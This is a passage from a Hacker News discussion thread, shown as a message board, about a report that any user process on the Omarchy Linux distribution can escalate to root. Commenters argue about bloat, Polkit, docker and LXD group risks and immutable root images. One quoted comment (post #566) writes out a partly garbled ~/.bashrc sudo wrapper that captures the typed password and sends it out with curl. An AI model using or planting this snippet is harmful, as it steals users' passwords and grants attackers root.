Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

561–570 of 590 posts

Re: Omarchy: Any User Process Can Escalate to Root

#561

Post by moojacob »

damanamathos wrote: post #463
cute_boi wrote: post #380

Earlier quoted context omitted.

i don't understand why DHH is shipping so much bloat in omarchy. The better solution would be to ask if user wants to install bloatware during installation.

dhh understands what a good user experience is. Installing in a couple minutes and getting right into it is an amazing start compared to most operating systems that take ages to setup. Plus, many pre-installs (like Zoom) are web-apps that take no space (30 lines of text) and are easy to remove if you don't want them in the menu.

Have you… used any other Linux distributions at all? For longer than a month? Respectfully. The thing DHH killed was demoing Omarchy most stuff is in other distros out of the box. And like installing in a couple minutes is table stakes.

Re: Omarchy: Any User Process Can Escalate to Root

#562

Post by mplanchard »

_fat_santa wrote: post #122
silisili wrote: post #81

Earlier quoted context omitted.

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

I just switched over to it from Ubuntu. So far the nice thing is that it gives you a fully decked out hyprland setup without any of the hassle and pretty good UX. The problem I've always had with trying out a tiling window manager like hyprland is you're going to spend a very long time trying to get everything just right. With Omarchy I get a really nice hyprland setup right out of the box.

The nice thing about wayland is you can easily combine a compositor/window manager with a wayland desktop shell and get a lot of the stuff you used to have to fiddle with when using like i3 for free. For example, I use niri with the “dank material shell” desktop shell and get status bar, notifications, clock, suspend/resume, etc. all “out of the box.”

Re: Omarchy: Any User Process Can Escalate to Root

#563

Post by moojacob »

TiredOfLife wrote: post #527
cute_boi wrote: post #380

Earlier quoted context omitted.

i don't understand why DHH is shipping so much bloat in omarchy. The better solution would be to ask if user wants to install bloatware during installation.

Have you used any of the popular distros? They all ship with loads of bloatware by default

Like what???? I don’t revolt at anything pre-installed on fedora.

And arch Linux specifically ships with nothing!

6GB is 3x larger than most other distros. It is kind of mental.

Re: Omarchy: Any User Process Can Escalate to Root

#564

Post by moojacob »

zer0zzz wrote: post #482
alberth wrote: post #385

Earlier quoted context omitted.

DHH created a distro for what he personally needs for work, and his company uses Zoom. It's that simple.

Thats pretty good, then he should have made a toolkit for building and rolling your own badass distro and not a "opinionated" "omakase" system that claims to solve all of deskop linux while personally mocking a lot of people that actually have made real contributions as "clowns".

His tone is horrible. Because he implies untrue things while being 100% certain. He will paint entire communities as against omarchy when it’s just a couple left wing members with a stupid take. It doesn’t help the distribution is just … not that good.

Re: Omarchy: Any User Process Can Escalate to Root

#565

Post by kopirgan »

Bigger question is does Linux need another distro at all?! I would say about as badly as Singapore needs a mall.

There's no doubting the brilliance of DHH and folks working on it. What if that went to into making a better UI, Desktop like Mac. After all Apple did that so well when they moved to Unix core.

Re: Omarchy: Any User Process Can Escalate to Root

#566

Post by pritambaral »

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Desktop alternative to most uses of sudo: Polkit[1]. For a UAC style prompt, see AeroShell[2].

However, one still SHOULD NOT allow untrusted software arbitrary read/write access to their $HOME, even on a completely secure (and thus, imaginary) OS. No reason why every App X should have access to the files of every App Y.

1: https://wiki.archlinux.org/title/Polkit

2: https://github.com/aeroshell-desktop/uac-polkit-agent

Re: Omarchy: Any User Process Can Escalate to Root

#567

Post by pritambaral »

dist-epoch wrote: post #323
leothetechguy wrote: post #109

Earlier quoted context omitted.

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

on Windows the UAC (GUI sudo equivalent) requires actual user input (keyboard, mouse) on a dialog presented in a secure way (can't be faked by malware)

The Desktop Linux equivalent to that would be Polkit.

Psst. There's also this, in typical KDE style: https://github.com/aeroshell-desktop/uac-polkit-agent

Re: Omarchy: Any User Process Can Escalate to Root

#568

Post by pritambaral »

bakugo wrote: post #241
exitb wrote: post #15

It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

It's absolutely not Omarchy-specific, Ubuntu has the exact same vulnerability out of the box, just with lxd instead.

> Ubuntu has the exact same vulnerability out of the box, just with lxd instead.

No, it does not[1]. LXD:

- explicitly warns against this mode of vulnerability. Of course, there's no protection against people who blindly run commands copied from the internets, but the official documentation, at least, for as far back as I can recall, has had clear warning boxes against this, with explanations.

- does not have the track record of bad design that docker has had (IMO).

- supports fine-grained ACLs and user management.

----

[1]: https://ubuntu.com/blog/shared-development-environment-with-...

Re: Omarchy: Any User Process Can Escalate to Root

#569

Post by bakugo »

pritambaral wrote: post #568
bakugo wrote: post #241

Earlier quoted context omitted.

It's absolutely not Omarchy-specific, Ubuntu has the exact same vulnerability out of the box, just with lxd instead.

> Ubuntu has the exact same vulnerability out of the box, just with lxd instead. No, it does not[1]. LXD: - explicitly warns against this mode of vulnerability. Of course, there's no protection against people who blindly run commands copied from the internets, but the official documentation, at least, for as far back as I can recall, has had clear warning boxes against this, with explanations. - does not have the tra…

Yes, it does. None of this information changes the fact that, on a fresh install of Ubuntu Server 24+, the default user can privilege escalate to root using a few LXD commands.

https://starlabs.sg/blog/2026/06-old-wine-in-a-new-bottle-a-...

And yes, I've tried it myself, it works as advertised.

Re: Omarchy: Any User Process Can Escalate to Root

#570

Post by simoncion »

lrvick wrote: post #518
simoncion wrote: post #459

Earlier quoted context omitted.

To summarize: stickynotememo: "How would you install packages (or update the kernel)?" You: «You'd use sudo or su (of course) but I'm going to distract you from that with an advertisement for the work I'm doing on my personal project!» [0] But, perhaps I misunderstood what you wrote. So... I'll ask stickynotememo's question in a different way: How would a user of your system update the Systemd collection of software…

I am not convinced you processed what I wrote, but I will attempt to answer your questions anyway because they will aid me in writing docs later. > 1) How does the data in that root partition get rebuilt? If it's on another computer, how does one control access to the root-partition-rebuild computer? If they use an official one published by their distro, then it is likely sufficient that it is signed by a key in a mu…

> I am not convinced you processed what I wrote...

I did. There's at least one huge hole that the system -as described- seems to not account for:

> If they use an official [root partition] published by their distro, then it is likely sufficient that it is signed by a key in a multi-party-controlled ... enclave[.] Now, even though the user-accessible portion of the OS is entirely unprivileged, the user can be trusted to download new signed UKI images [from their upstream provider] ...

Distros often fail to preinstall all the software a user of a general-purpose computer needs. How does the user of this system add new system software to be used by every user of the system, rather than just the user who installed it? Suppose that the user wants to swap out the upstream-provided syslog daemon with rsyslog, or the user wants to install ghostscript for use by every user on the system... how is that done?

If the answer is something like "The user builds their own root image and signs it with keys that they manage, and then loads it into an update server that they control so their computer can automatically update to it.", then that's equivalent to using sudo with a ton of extra steps. If the answer is either "They use access control and elevation systems that means they're effectively root to augment the software load on the read-only '/'." or "Don't be daft, there's a single user on the system." well...

What mike_hearn said to you is also quite relevant:

> ...if all the apps that matter are installed to ~/.local then you're just removing the need to obtain root at all for most attacker priorities.

EDIT: There's another way a user can get new usable-by-all-users software on their root image: "Ask their upstream provider to add the software the user wants to the image and hope that they both accept the request and process it in a timely manner."... just like was done back in the days of glass teletypes, thin clients, and netbooted PCs. My recollection of (and participation in) a relevant slice of history might be why you think that I didn't "process" what you wrote. All that the system you describe seems to add is boot image signing... and I'm certain that ultra-paranoid sites have been doing that sort of thing for ages.

Post reply on HN